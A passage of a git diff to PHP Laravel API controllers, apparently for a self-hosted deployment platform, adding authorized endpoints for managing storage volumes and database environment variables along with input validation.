'content' => 'string|nullable', + 'is_directory' => 'boolean', + 'fs_path' => 'string', + ]); + + $allAllowedFields = ['type', 'name', 'mount_path', 'host_path', 'content', 'is_directory', 'fs_path']; + $extraFields = array_diff(array_keys($request->all()), $allAllowedFields); + if ($validator->fails() || ! empty($extraFields)) { + $errors = $validator->errors(); + if (! empty($extraFields)) { + foreach ($extraFields as $field) { + $errors->add($field, 'This field is not allowed.'); + } + } + + return response()->json([ + 'message' => 'Validation failed.', + 'errors' => $errors, + ], 422); + } + + if ($request->type === 'persistent') { + if (! $request->name) { + return response()->json([ + 'message' => 'Validation failed.', + 'errors' => ['name' => 'The name field is required for persistent storages.'], + ], 422); + } + + $typeSpecificInvalidFields = array_intersect(['content', 'is_directory', 'fs_path'], array_keys($request->all())); + if (! empty($typeSpecificInvalidFields)) { + return response()->json([ + 'message' => 'Validation failed.', + 'errors' => collect($typeSpecificInvalidFields) + ->mapWithKeys(fn ($field) => [$field => "Field '{$field}' is not valid for type 'persistent'."]), + ], 422); + } + + $storage = LocalPersistentVolume::create([ + 'name' => $application->uuid.'-'.$request->name, + 'mount_path' => $request->mount_path, + 'host_path' => $request->host_path, + 'resource_id' => $application->id, + 'resource_type' => $application->getMorphClass(), + ]); + + return response()->json($storage, 201); + } + + // File storage + $typeSpecificInvalidFields = array_intersect(['name', 'host_path'], array_keys($request->all())); + if (! empty($typeSpecificInvalidFields)) { + return response()->json([ + 'message' => 'Validation failed.', + 'errors' => collect($typeSpecificInvalidFields) + ->mapWithKeys(fn ($field) => [$field => "Field '{$field}' is not valid for type 'file'."]), + ], 422); + } + + $isDirectory = $request->boolean('is_directory', false); + + if ($isDirectory) { + if (! $request->fs_path) { + return response()->json([ + 'message' => 'Validation failed.', + 'errors' => ['fs_path' => 'The fs_path field is required for directory mounts.'], + ], 422); + } + + $fsPath = str($request->fs_path)->trim()->start('/')->value(); + $mountPath = str($request->mount_path)->trim()->start('/')->value(); + + validateShellSafePath($fsPath, 'storage source path'); + validateShellSafePath($mountPath, 'storage destination path'); + + $storage = LocalFileVolume::create([ + 'fs_path' => $fsPath, + 'mount_path' => $mountPath, + 'is_directory' => true, + 'resource_id' => $application->id, + 'resource_type' => get_class($application), + ]); + } else { + $mountPath = str($request->mount_path)->trim()->start('/')->value(); + + validateShellSafePath($mountPath, 'file storage path'); + + $fsPath = application_configuration_dir().'/'.$application->uuid.$mountPath; + + $storage = LocalFileVolume::create([ + 'fs_path' => $fsPath, + 'mount_path' => $mountPath, + 'content' => $request->content, + 'is_directory' => false, + 'resource_id' => $application->id, + 'resource_type' => get_class($application), + ]); + } + + return response()->json($storage, 201); + } + + #[OA\Delete( + summary: 'Delete Storage', + description: 'Delete a persistent storage or file storage by application UUID.', + path: '/applications/{uuid}/storages/{storage_uuid}', + operationId: 'delete-storage-by-application-uuid', + security: [ + ['bearerAuth' => []], + ], + tags: ['Applications'], + parameters: [ + new OA\Parameter( + name: 'uuid', + in: 'path', + description: 'UUID of the application.', + required: true, + schema: new OA\Schema(type: 'string') + ), + new OA\Parameter( + name: 'storage_uuid', + in: 'path', + description: 'UUID of the storage.', + required: true, + schema: new OA\Schema(type: 'string') + ), + ], + responses: [ + new OA\Response(response: 200, description: 'Storage deleted.', content: new OA\JsonContent( + properties: [new OA\Property(property: 'message', type: 'string')], + )), + new OA\Response(response: 401, ref: '#/components/responses/401'), + new OA\Response(response: 400, ref: '#/components/responses/400'), + new OA\Response(response: 404, ref: '#/components/responses/404'), + new OA\Response(response: 422, ref: '#/components/responses/422'), + ] + )] + public function delete_storage(Request $request): JsonResponse + { + $teamId = getTeamIdFromToken(); + if (is_null($teamId)) { + return invalidTokenResponse(); + } + + $application = Application::ownedByCurrentTeamAPI($teamId)->where('uuid', $request->uuid)->first(); + if (! $application) { + return response()->json(['message' => 'Application not found.'], 404); + } + + $this->authorize('update', $application); + + $storageUuid = $request->route('storage_uuid'); + + $storage = $application->persistentStorages->where('uuid', $storageUuid)->first(); + if (! $storage) { + $storage = $application->fileStorages->where('uuid', $storageUuid)->first(); + } + + if (! $storage) { + return response()->json(['message' => 'Storage not found.'], 404); + } + + if ($storage->shouldBeReadOnlyInUI()) { + return response()->json([ + 'message' => 'This storage is read-only (managed by docker-compose or service definition) and cannot be deleted.', + ], 422); + } + + if ($storage instanceof LocalFileVolume) { + $storage->deleteStorageOnServer(); + } + + $storage->delete(); + + return response()->json(['message' => 'Storage deleted.']); + } } diff --git a/app/Http/Controllers/Api/DatabasesController.php b/app/Http/Controllers/Api/DatabasesController.php index 15d182db2..660ed4529 100644 --- a/app/Http/Controllers/Api/DatabasesController.php +++ b/app/Http/Controllers/Api/DatabasesController.php @@ -11,11 +11,16 @@ use App\Http\Controllers\Controller; use App\Jobs\DatabaseBackupJob; use App\Jobs\DeleteResourceJob; +use App\Models\EnvironmentVariable; +use App\Models\LocalFileVolume; +use App\Models\LocalPersistentVolume; use App\Models\Project; use App\Models\S3Storage; use App\Models\ScheduledDatabaseBackup; use App\Models\Server; use App\Models\StandalonePostgresql; +use App\Support\ValidationPatterns; +use Illuminate\Http\JsonResponse; use Illuminate\Http\Request; use Illuminate\Support\Facades\DB; use OpenApi\Attributes as OA; @@ -330,7 +335,7 @@ public function update_by_uuid(Request $request) // this check if the request is a valid json $return = validateIncomingRequest($request); - if ($return instanceof \Illuminate\Http\JsonResponse) { + if ($return instanceof JsonResponse) { return $return; } $validator = customApiValidator($request->all(), [ @@ -681,7 +686,7 @@ public function create_backup(Request $request) // Validate incoming request is valid JSON $return = validateIncomingRequest($request); - if ($return instanceof \Illuminate\Http\JsonResponse) { + if ($return instanceof JsonResponse) { return $return; } @@ -788,6 +793,18 @@ public function create_backup(Request $request) } } + // Validate databases_to_backup input + if (! empty($backupData['databases_to_backup'])) { + try { + validateDatabasesBackupInput($backupData['databases_to_backup']); + } catch (\Exception $e) { + return response()->json([ + 'message' => 'Validation failed.', + 'errors' => ['databases_to_backup' => [$e->getMessage()]], + ], 422); + } + } + // Add required fields $backupData['database_id'] = $database->id; $backupData['database_type'] = $database->getMorphClass(); @@ -898,7 +915,7 @@ public function update_backup(Request $request) } // this check if the request is a valid json $return = validateIncomingRequest($request); - if ($return instanceof \Illuminate\Http\JsonResponse) { + if ($return instanceof JsonResponse) { return $return; } $validator = customApiValidator($request->all(), [ @@ -993,6 +1010,18 @@ public function update_backup(Request $request) unset($backupData['s3_storage_uuid']); } + // Validate databases_to_backup input + if (! empty($backupData['databases_to_backup'])) { + try { + validateDatabasesBackupInput($backupData['databases_to_backup']); + } catch (\Exception $e) { + return response()->json([ + 'message' => 'Validation failed.', + 'errors' => ['databases_to_backup' => [$e->getMessage()]], + ], 422); + } + } + $backupConfig->update($backupData); if ($request->backup_now) { @@ -1562,7 +1591,7 @@ public function create_database(Request $request, NewDatabaseTypes $type) $this->authorize('create', StandalonePostgresql::class); $return = validateIncomingRequest($request); - if ($return instanceof \Illuminate\Http\JsonResponse) { + if ($return instanceof JsonResponse) { return $return; } @@ -2602,6 +2631,15 @@ public function action_deploy(Request $request) type: 'string', ) ), + new OA\Parameter( + name: 'docker_cleanup', + in: 'query', + description: 'Perform docker cleanup (prune networks, volumes, etc.).', + schema: new OA\Schema( + type: 'boolean', + default: true, + ) + ), ], responses: [ new OA\Response( @@ -2653,7 +2691,9 @@ public function action_stop(Request $request) if (str($database->status)->contains('stopped') || str($database->status)->contains('exited')) { return response()->json(['message' => 'Database is already stopped.'], 400); } - StopDatabase::dispatch($database); + + $dockerCleanup = $request->boolean('docker_cleanup', true); + StopDatabase::dispatch($database, $dockerCleanup); return response()->json( [ @@ -2739,4 +2779,1070 @@ public function action_restart(Request $request) 200 ); } + + private function removeSensitiveEnvData($env) + { + $env->makeHidden([ + 'id', + 'resourceable', + 'resourceable_id', + 'resourceable_type', + ]); + if (request()->attributes->get('can_read_sensitive', false) === false) { + $env->makeHidden([ + 'value', + 'real_value', + ]); + } + + return serializeApiResponse($env); + } + + #[OA\Get( + summary: 'List Envs', + description: 'List all envs by database UUID.', + path: '/databases/{uuid}/envs', + operationId: 'list-envs-by-database-uuid', + security: [ + ['bearerAuth' => []], + ], + tags: ['Databases'], + parameters: [ + new OA\Parameter( + name: 'uuid', + in: 'path', + description: 'UUID of the database.', + required: true, + schema: new OA\Schema( + type: 'string', + ) + ), + ], + responses: [ + new OA\Response( + response: 200, + description: 'Environment variables.', + content: [ + new OA\MediaType( + mediaType: 'application/json', + schema: new OA\Schema( + type: 'array', + items: new OA\Items(ref: '#/components/schemas/EnvironmentVariable') + ) + ), + ] + ), + new OA\Response( + response: 401, + ref: '#/components/responses/401', + ), + new OA\Response( + response: 400, + ref: '#/components/responses/400', + ), + new OA\Response( + response: 404, + ref: '#/components/responses/404', + ), + ] + )] + public function envs(Request $request) + { + $teamId = getTeamIdFromToken(); + if (is_null($teamId)) { + return invalidTokenResponse(); + } + $database = queryDatabaseByUuidWithinTeam($request->uuid, $teamId); + if (! $database) { + return response()->json(['message' => 'Database not found.'], 404); + } + + $this->authorize('view', $database); + + $envs = $database->environment_variables->map(function ($env) { + return $this->removeSensitiveEnvData($env); + }); + + return response()->json($envs); + } + + #[OA\Patch( + summary: 'Update Env', + description: 'Update env by database UUID.', + path: '/databases/{uuid}/envs', + operationId: 'update-env-by-database-uuid', + security: [ + ['bearerAuth' => []], + ], + tags: ['Databases'], + parameters: [ + new OA\Parameter( + name: 'uuid', + in: 'path', + description: 'UUID of the database.', + required: true, + schema: new OA\Schema( + type: 'string', + ) + ), + ], + requestBody: new OA\RequestBody( + description: 'Env updated.', + required: true, + content: [ + new OA\MediaType( + mediaType: 'application/json', + schema: new OA\Schema( + type: 'object', + required: ['key', 'value'], + properties: [ + 'key' => ['type' => 'string', 'description' => 'The key of the environment variable.'], + 'value' => ['type' => 'string', 'description' => 'The value of the environment variable.'], + 'is_literal' => ['type' => 'boolean', 'description' => 'The flag to indicate if the environment variable is a literal, nothing espaced.'], + 'is_multiline' => ['type' => 'boolean', 'description' => 'The flag to indicate if the environment variable is multiline.'], + 'is_shown_once' => ['type' => 'boolean', 'description' => 'The flag to indicate if the environment variable\'s value is shown on the UI.'], + ], + ), + ), + ], + ), + responses: [ + new OA\Response( + response: 201, + description: 'Environment variable updated.', + content: [ + new OA\MediaType( + mediaType: 'application/json', + schema: new OA\Schema( + ref: '#/components/schemas/EnvironmentVariable' + ) + ), + ] + ), + new OA\Response( + response: 401, + ref: '#/components/responses/401', + ), + new OA\Response( + response: 400, + ref: '#/components/responses/400', + ), + new OA\Response( + response: 404, + ref: '#/components/responses/404', + ), + new OA\Response( + response: 422, + ref: '#/components/responses/422', + ), + ] + )] + public function update_env_by_uuid(Request $request) + { + $teamId = getTeamIdFromToken(); + if (is_null($teamId)) { + return invalidTokenResponse(); + } + + $database = queryDatabaseByUuidWithinTeam($request->route('uuid'), $teamId); + if (! $database) { + return response()->json(['message' => 'Database not found.'], 404); + } + + $this->authorize('manageEnvironment', $database); + + $validator = customApiValidator($request->all(), [ + 'key' => 'string|required', + 'value' => 'string|nullable', + 'is_literal' => 'boolean', + 'is_multiline' => 'boolean', + 'is_shown_once' => 'boolean', + 'comment' => 'string|nullable|max:256', + ]); + + if ($validator->fails()) { + return response()->json([ + 'message' => 'Validation failed.', + 'errors' => $validator->errors(), + ], 422); + } + + $key = str($request->key)->trim()->replace(' ', '_')->value; + $env = $database->environment_variables()->where('key', $key)->first(); + if (! $env) { + return response()->json(['message' => 'Environment variable not found.'], 404); + } + + $env->value = $request->value; + if ($request->has('is_literal')) { + $env->is_literal = $request->is_literal; + } + if ($request->has('is_multiline')) { + $env->is_multiline = $request->is_multiline; + } + if ($request->has('is_shown_once')) { + $env->is_shown_once = $request->is_shown_once; + } + if ($request->has('comment')) { + $env->comment = $request->comment; + } + $env->save(); + + return response()->json($this->removeSensitiveEnvData($env))->setStatusCode(201); + } + + #[OA\Patch( + summary: 'Update Envs (Bulk)', + description: 'Update multiple envs by database UUID.', + path: '/databases/{uuid}/envs/bulk', + operationId: 'update-envs-by-database-uuid', + security: [ + ['bearerAuth' => []], + ], + tags: ['Databases'], + parameters: [ + new OA\Parameter( + name: 'uuid', + in: 'path', + description: 'UUID of the database.', + required: true, + schema: new OA\Schema( + type: 'string', + ) + ), + ], + requestBody: new OA\RequestBody( + description: 'Bulk envs updated.', + required: true, + content: [ + new OA\MediaType( + mediaType: 'application/json', + schema: new OA\Schema( + type: 'object', + required: ['data'], + properties: [ + 'data' => [ + 'type' => 'array', + 'items' => new OA\Schema( + type: 'object', + properties: [ + 'key' => ['type' => 'string', 'description' => 'The key of the environment variable.'], + 'value' => ['type' => 'string', 'description' => 'The value of the environment variable.'], + 'is_literal' => ['type' => 'boolean', 'description' => 'The flag to indicate if the environment variable is a literal, nothing espaced.'], + 'is_multiline' => ['type' => 'boolean', 'description' => 'The flag to indicate if the environment variable is multiline.'], + 'is_shown_once' => ['type' => 'boolean', 'description' => 'The flag to indicate if the environment variable\'s value is shown on the UI.'], + ], + ), + ], + ], + ), + ), + ], + ), + responses: [ + new OA\Response( + response: 201, + description: 'Environment variables updated.', + content: [ + new OA\MediaType( + mediaType: 'application/json', + schema: new OA\Schema( + type: 'array', + items: new OA\Items(ref: '#/components/schemas/EnvironmentVariable') + ) + ), + ] + ), + new OA\Response( + response: 401, + ref: '#/components/responses/401', + ), + new OA\Response( + response: 400, + ref: '#/components/responses/400', + ), + new OA\Response( + response: 404, + ref: '#/components/responses/404', + ), + new OA\Response( + response: 422, + ref: '#/components/responses/422', + ), + ] + )] + public function create_bulk_envs(Request $request) + { + $teamId = getTeamIdFromToken(); + if (is_null($teamId)) { + return invalidTokenResponse(); + } + + $database = queryDatabaseByUuidWithinTeam($request->route('uuid'), $teamId); + if (! $database) { + return response()->json(['message' => 'Database not found.'], 404); + } + + $this->authorize('manageEnvironment', $database); + + $bulk_data = $request->get('data'); + if (! $bulk_data) { + return response()->json(['message' => 'Bulk data is required.'], 400); + } + + $updatedEnvs = collect(); + foreach ($bulk_data as $item) { + $validator = customApiValidator($item, [ + 'key' => 'string|required', + 'value' => 'string|nullable', + 'is_literal' => 'boolean', + 'is_multiline' => 'boolean', + 'is_shown_once' => 'boolean', + 'comment' => 'string|nullable|max:256', + ]); + + if ($validator->fails()) { + return response()->json([ + 'message' => 'Validation failed.', + 'errors' => $validator->errors(), + ], 422); + } + $key = str($item['key'])->trim()->replace(' ', '_')->value; + $env = $database->environment_variables()->updateOrCreate( + ['key' => $key], + $item + ); + + $updatedEnvs->push($this->removeSensitiveEnvData($env)); + } + + return response()->json($updatedEnvs)->setStatusCode(201); + } + + #[OA\Post( + summary: 'Create Env', + description: 'Create env by database UUID.', + path: '/databases/{uuid}/envs', + operationId: 'create-env-by-database-uuid', + security: [ + ['bearerAuth' => []], + ], + tags: ['Databases'], + parameters: [ + new OA\Parameter( + name: 'uuid', + in: 'path', + description: 'UUID of the database.', + required: true, + schema: new OA\Schema( + type: 'string', + ) + ), + ], + requestBody: new OA\RequestBody( + required: true, + description: 'Env created.', + content: new OA\MediaType( + mediaType: 'application/json', + schema: new OA\Schema( + type: 'object', + properties: [ + 'key' => ['type' => 'string', 'description' => 'The key of the environment variable.'], + 'value' => ['type' => 'string', 'description' => 'The value of the environment variable.'], + 'is_literal' => ['type' => 'boolean', 'description' => 'The flag to indicate if the environment variable is a literal, nothing espaced.'], + 'is_multiline' => ['type' => 'boolean', 'description' => 'The flag to indicate if the environment variable is multiline.'], + 'is_shown_once' => ['type' => 'boolean', 'description' => 'The flag to indicate if the environment variable\'s value is shown on the UI.'], + ], + ), + ), + ), + responses: [ + new OA\Response( + response: 201, + description: 'Environment variable created.', + content: [ + new OA\MediaType( + mediaType: 'application/json', + schema: new OA\Schema( + type: 'object', + properties: [ + 'uuid' => ['type' => 'string', 'example' => 'nc0k04gk8g0cgsk440g0koko'], + ] + ) + ), + ] + ), + new OA\Response( + response: 401, + ref: '#/components/responses/401', + ), + new OA\Response( + response: 400, + ref: '#/components/responses/400', + ), + new OA\Response( + response: 404, + ref: '#/components/responses/404', + ), + new OA\Response( + response: 422, + ref: '#/components/responses/422', + ), + ] + )] + public function create_env(Request $request) + { + $teamId = getTeamIdFromToken(); + if (is_null($teamId)) { + return invalidTokenResponse(); + } + + $database = queryDatabaseByUuidWithinTeam($request->route('uuid'), $teamId); + if (! $database) { + return response()->json(['message' => 'Database not found.'], 404); + } + + $this->authorize('manageEnvironment', $database); + + $validator = customApiValidator($request->all(), [ + 'key' => 'string|required', + 'value' => 'string|nullable', + 'is_literal' => 'boolean', + 'is_multiline' => 'boolean', + 'is_shown_once' => 'boolean', + 'comment' => 'string|nullable|max:256', + ]); + + if ($validator->fails()) { + return response()->json([ + 'message' => 'Validation failed.', + 'errors' => $validator->errors(), + ], 422); + } + + $key = str($request->key)->trim()->replace(' ', '_')->value; + $existingEnv = $database->environment_variables()->where('key', $key)->first(); + if ($existingEnv) { + return response()->json([ + 'message' => 'Environment variable already exists. Use PATCH request to update it.', + ], 409); + } + + $env = $database->environment_variables()->create([ + 'key' => $key, + 'value' => $request->value, + 'is_literal' => $request->is_literal ?? false, + 'is_multiline' => $request->is_multiline ?? false, + 'is_shown_once' => $request->is_shown_once ?? false, + 'comment' => $request->comment ?? null, + ]); + + return response()->json($this->removeSensitiveEnvData($env))->setStatusCode(201); + } + + #[OA\Delete( + summary: 'Delete Env', + description: 'Delete env by UUID.', + path: '/databases/{uuid}/envs/{env_uuid}', + operationId: 'delete-env-by-database-uuid', + security: [ + ['bearerAuth' => []], + ], + tags: ['Databases'], + parameters: [ + new OA\Parameter( + name: 'uuid', + in: 'path', + description: 'UUID of the database.', + required: true, + schema: new OA\Schema( + type: 'string', + ) + ), + new OA\Parameter( + name: 'env_uuid', + in: 'path', + description: 'UUID of the environment variable.', + required: true, + schema: new OA\Schema( + type: 'string', + ) + ), + ], + responses: [ + new OA\Response( + response: 200, + description: 'Environment variable deleted.', + content: [ + new OA\MediaType( + mediaType: 'application/json', + schema: new OA\Schema( + type: 'object', + properties: [ + 'message' => ['type' => 'string', 'example' => 'Environment variable deleted.'], + ] + ) + ), + ] + ), + new OA\Response( + response: 401, + ref: '#/components/responses/401', + ), + new OA\Response( + response: 400, + ref: '#/components/responses/400', + ), + new OA\Response( + response: 404, + ref: '#/components/responses/404', + ), + ] + )] + public function delete_env_by_uuid(Request $request) + { + $teamId = getTeamIdFromToken(); + if (is_null($teamId)) { + return invalidTokenResponse(); + } + + $database = queryDatabaseByUuidWithinTeam($request->route('uuid'), $teamId); + if (! $database) { + return response()->json(['message' => 'Database not found.'], 404); + } + + $this->authorize('manageEnvironment', $database); + + $env = EnvironmentVariable::where('uuid', $request->route('env_uuid')) + ->where('resourceable_type', get_class($database)) + ->where('resourceable_id', $database->id) + ->first(); + + if (! $env) { + return response()->json(['message' => 'Environment variable not found.'], 404); + } + + $env->forceDelete(); + + return response()->json(['message' => 'Environment variable deleted.']); + } + + #[OA\Get( + summary: 'List Storages', + description: 'List all persistent storages and file storages by database UUID.', + path: '/databases/{uuid}/storages', + operationId: 'list-storages-by-database-uuid', + security: [ + ['bearerAuth' => []], + ], + tags: ['Databases'], + parameters: [ + new OA\Parameter( + name: 'uuid', + in: 'path', + description: 'UUID of the database.', + required: true, + schema: new OA\Schema( + type: 'string', + ) + ), + ], + responses: [ + new OA\Response( + response: 200, + description: 'All storages by database UUID.', + content: new OA\JsonContent( + properties: [ + new OA\Property(property: 'persistent_storages', type: 'array', items: new OA\Items(type: 'object')), + new OA\Property(property: 'file_storages', type: 'array', items: new OA\Items(type: 'object')), + ], + ), + ), + new OA\Response( + response: 401, + ref: '#/components/responses/401', + ), + new OA\Response( + response: 400, + ref: '#/components/responses/400', + ), + new OA\Response( + response: 404, + ref: '#/components/responses/404', + ), + ] + )] + public function storages(Request $request): JsonResponse + { + $teamId = getTeamIdFromToken(); + if (is_null($teamId)) { + return invalidTokenResponse(); + } + + $database = queryDatabaseByUuidWithinTeam($request->uuid, $teamId); + if (! $database) { + return response()->json(['message' => 'Database not found.'], 404); + } + + $this->authorize('view', $database); + + $persistentStorages = $database->persistentStorages->sortBy('id')->values(); + $fileStorages = $database->fileStorages->sortBy('id')->values(); + + return response()->json([ + 'persistent_storages' => $persistentStorages, + 'file_storages' => $fileStorages, + ]); + } + + #[OA\Post( + summary: 'Create Storage', + description: 'Create a persistent storage or file storage for a database.', + path: '/databases/{uuid}/storages', + operationId: 'create-storage-by-database-uuid', + security: [ + ['bearerAuth' => []], + ], + tags: ['Databases'], + parameters: [ + new OA\Parameter( + name: 'uuid', + in: 'path', + description: 'UUID of the database.', + required: true, + schema: new OA\Schema(type: 'string') + ), + ], + requestBody: new OA\RequestBody( + required: true, + content: [ + new OA\MediaType( + mediaType: 'application/json', + schema: new OA\Schema( + type: 'object', + required: ['type', 'mount_path'], + properties: [ + 'type' => ['type' => 'string', 'enum' => ['persistent', 'file'], 'description' => 'The type of storage.'], + 'name' => ['type' => 'string', 'description' => 'Volume name (persistent only, required for persistent).'], + 'mount_path' => ['type' => 'string', 'description' => 'The container mount path.'], + 'host_path' => ['type' => 'string', 'nullable' => true, 'description' => 'The host path (persistent only, optional).'], + 'content' => ['type' => 'string', 'nullable' => true, 'description' => 'File content (file only, optional).'], + 'is_directory' => ['type' => 'boolean', 'description' => 'Whether this is a directory mount (file only, default false).'], + 'fs_path' => ['type' => 'string', 'description' => 'Host directory path (required when is_directory is true).'], + ], + additionalProperties: false, + ), + ), + ], + ), + responses: [ + new OA\Response( + response: 201, + description: 'Storage created.', + content: new OA\JsonContent(type: 'object'), + ), + new OA\Response(response: 401, ref: '#/components/responses/401'), + new OA\Response(response: 400, ref: '#/components/responses/400'), + new OA\Response(response: 404, ref: '#/components/responses/404'), + new OA\Response(response: 422, ref: '#/components/responses/422'), + ] + )] + public function create_storage(Request $request): JsonResponse + { + $teamId = getTeamIdFromToken(); + if (is_null($teamId)) { + return invalidTokenResponse(); + } + + $return = validateIncomingRequest($request); + if ($return instanceof JsonResponse) { + return $return; + } + + $database = queryDatabaseByUuidWithinTeam($request->uuid, $teamId); + if (! $database) { + return response()->json(['message' => 'Database not found.'], 404); + } + + $this->authorize('update', $database); + + $validator = customApiValidator($request->all(), [ + 'type' => 'required|string|in:persistent,file', + 'name' => ['string', 'regex:'.ValidationPatterns::VOLUME_NAME_PATTERN], + 'mount_path' => 'required|string', + 'host_path' => 'string|nullable', + 'content' => 'string|nullable', + 'is_directory' => 'boolean', + 'fs_path' => 'string', + ]); + + $allAllowedFields = ['type', 'name', 'mount_path', 'host_path', 'content', 'is_directory', 'fs_path']; + $extraFields = array_diff(array_keys($request->all()), $allAllowedFields); + if ($validator->fails() || ! empty($extraFields)) { + $errors = $validator->errors(); + if (! empty($extraFields)) { + foreach ($extraFields as $field) { + $errors->add($field, 'This field is not allowed.'); + } + } + + return response()->json([ + 'message' => 'Validation failed.', + 'errors' => $errors, + ], 422); + } + + if ($request->type === 'persistent') { + if (! $request->name) { + return response()->json([ + 'message' => 'Validation failed.', + 'errors' => ['name' => 'The name field is required for persistent storages.'], + ], 422); + } + + $typeSpecificInvalidFields = array_intersect(['content', 'is_directory', 'fs_path'], array_keys($request->all())); + if (! empty($typeSpecificInvalidFields)) { + return response()->json([ + 'message' => 'Validation failed.', + 'errors' => collect($typeSpecificInvalidFields) + ->mapWithKeys(fn ($field) => [$field => "Field '{$field}' is not valid for type 'persistent'."]), + ], 422); + } + + $storage = LocalPersistentVolume::create([ + 'name' => $database->uuid.'-'.$request->name, + 'mount_path' => $request->mount_path, + 'host_path' => $request->host_path, + 'resource_id' => $database->id, + 'resource_type' => $database->getMorphClass(), + ]); + + return response()->json($storage, 201); + } + + // File storage + $typeSpecificInvalidFields = array_intersect(['name', 'host_path'], array_keys($request->all())); + if (! empty($typeSpecificInvalidFields)) { + return response()->json([ + 'message' => 'Validation failed.', + 'errors' => collect($typeSpecificInvalidFields) + ->mapWithKeys(fn ($field) => [$field => "Field '{$field}' is not valid for type 'file'."]), + ], 422); + } + + $isDirectory = $request->boolean('is_directory', false); + + if ($isDirectory) { + if (! $request->fs_path) { + return response()->json([ + 'message' => 'Validation failed.', + 'errors' => ['fs_path' => 'The fs_path field is required for directory mounts.'], + ], 422); + } + + $fsPath = str($request->fs_path)->trim()->start('/')->value(); + $mountPath = str($request->mount_path)->trim()->start('/')->value(); + + validateShellSafePath($fsPath, 'storage source path'); + validateShellSafePath($mountPath, 'storage destination path'); + + $storage = LocalFileVolume::create([ + 'fs_path' => $fsPath, + 'mount_path' => $mountPath, + 'is_directory' => true, + 'resource_id' => $database->id, + 'resource_type' => get_class($database), + ]); + } else { + $mountPath = str($request->mount_path)->trim()->start('/')->value(); + + validateShellSafePath($mountPath, 'file storage path'); + + $fsPath = database_configuration_dir().'/'.$database->uuid.$mountPath; + + $storage = LocalFileVolume::create([ + 'fs_path' => $fsPath, + 'mount_path' => $mountPath, + 'content' => $request->content, + 'is_directory' => false, + 'resource_id' => $database->id, + 'resource_type' => get_class($database), + ]); + } + + return response()->json($storage, 201); + } + + #[OA\Patch( + summary: 'Update Storage', + description: 'Update a persistent storage or file storage by database UUID.', + path: '/databases/{uuid}/storages', + operationId: 'update-storage-by-database-uuid', + security: [ + ['bearerAuth' => []], + ], + tags: ['Databases'], + parameters: [ + new OA\Parameter( + name: 'uuid', + in: 'path', + description: 'UUID of the database.', + required: true, + schema: new OA\Schema( + type: 'string', + ) + ), + ], + requestBody: new OA\RequestBody( + description: 'Storage updated. For read-only storages (from docker-compose or services), only is_preview_suffix_enabled can be updated.', + required: true, + content: [ + new OA\MediaType( + mediaType: 'application/json', + schema: new OA\Schema( + type: 'object', + required: ['type'], + properties: [ + 'uuid' => ['type' => 'string', 'description' => 'The UUID of the storage (preferred).'], + 'id' => ['type' => 'integer', 'description' => 'The ID of the storage (deprecated, use uuid instead).'], + 'type' => ['type' => 'string', 'enum' => ['persistent', 'file'], 'description' => 'The type of storage: persistent or file.'], + 'is_preview_suffix_enabled' => ['type' => 'boolean', 'description' => 'Whether to add -pr-N suffix for preview deployments.'], + 'name' => ['type' => 'string', 'description' => 'The volume name (persistent only, not allowed for read-only storages).'], + 'mount_path' => ['type' => 'string', 'description' => 'The container mount path (not allowed for read-only storages).'], + 'host_path' => ['type' => 'string', 'nullable' => true, 'description' => 'The host path (persistent only, not allowed for read-only storages).'], + 'content' => ['type' => 'string', 'nullable' => true, 'description' => 'The file content (file only, not allowed for read-only storages).'], + ], + additionalProperties: false, + ), + ), + ], + ), + responses: [ + new OA\Response( + response: 200, + description: 'Storage updated.', + content: new OA\JsonContent(type: 'object'), + ), + new OA\Response( + response: 401, + ref: '#/components/responses/401', + ), + new OA\Response( + response: 400, + ref: '#/components/responses/400', + ), + new OA\Response( + response: 404, + ref: '#/components/responses/404', + ), + new OA\Response( + response: 422, + ref: '#/components/responses/422', + ), + ] + )] + public function update_storage(Request $request): JsonResponse + { + $teamId = getTeamIdFromToken(); + + if (is_null($teamId)) { + return invalidTokenResponse(); + } + + $return = validateIncomingRequest($request); + if ($return instanceof JsonResponse) { + return $return; + } + + $database = queryDatabaseByUuidWithinTeam($request->route('uuid'), $teamId); + if (! $database) { + return response()->json(['message' => 'Database not found.'], 404); + } + + $this->authorize('update', $database); + + $validator = customApiValidator($request->all(), [ + 'uuid' => 'string', + 'id' => 'integer', + 'type' => 'required|string|in:persistent,file', + 'is_preview_suffix_enabled' => 'boolean', + 'name' => ['string', 'regex:'.ValidationPatterns::VOLUME_NAME_PATTERN], + 'mount_path' => 'string', + 'host_path' => 'string|nullable', + 'content' => 'string|nullable', + ]); + + $allAllowedFields = ['uuid', 'id', 'type', 'is_preview_suffix_enabled', 'name', 'mount_path', 'host_path', 'content']; + $extraFields = array_diff(array_keys($request->all()), $allAllowedFields); + if ($validator->fails() || ! empty($extraFields)) { + $errors = $validator->errors(); + if (! empty($extraFields)) { + foreach ($extraFields as $field) { + $errors->add($field, 'This field is not allowed.'); + } + } + + return response()->json([ + 'message' => 'Validation failed.', + 'errors' => $errors, + ], 422); + } + + $storageUuid = $request->input('uuid'); + $storageId = $request->input('id'); + + if (! $storageUuid && ! $storageId) { + return response()->json([ + 'message' => 'Validation failed.', + 'errors' => ['uuid' => 'Either uuid or id is required.'], + ], 422); + } + + $lookupField = $storageUuid ? 'uuid' : 'id'; + $lookupValue = $storageUuid ?? $storageId; + + if ($request->type === 'persistent') { + $storage = $database->persistentStorages->where($lookupField, $lookupValue)->first(); + } else { + $storage = $database->fileStorages->where($lookupField, $lookupValue)->first(); + } + + if (! $storage) { + return response()->json([ + 'message' => 'Storage not found.', + ], 404); + } + + $isReadOnly = $storage->shouldBeReadOnlyInUI(); + $editableOnlyFields = ['name', 'mount_path', 'host_path', 'content']; + $requestedEditableFields = array_intersect($editableOnlyFields, array_keys($request->all())); + + if ($isReadOnly && ! empty($requestedEditableFields)) { + return response()->json([ + 'message' => 'This storage is read-only (managed by docker-compose or service definition). Only is_preview_suffix_enabled can be updated.', + 'read_only_fields' => array_values($requestedEditableFields), + ], 422); + } + + // Reject fields that don't apply to the given storage type + if (! $isReadOnly) { + $typeSpecificInvalidFields = $request->type === 'persistent' + ? array_intersect(['content'], array_keys($request->all())) + : array_intersect(['name', 'host_path'], array_keys($request->all())); + + if (! empty($typeSpecificInvalidFields)) { + return response()->json([ + 'message' => 'Validation failed.', + 'errors' => collect($typeSpecificInvalidFields) + ->mapWithKeys(fn ($field) => [$field => "Field '{$field}' is not valid for type '{$request->type}'."]), + ], 422); + } + } + + // Always allowed + if ($request->has('is_preview_suffix_enabled')) { + $storage->is_preview_suffix_enabled = $request->is_preview_suffix_enabled; + } + + // Only for editable storages + if (! 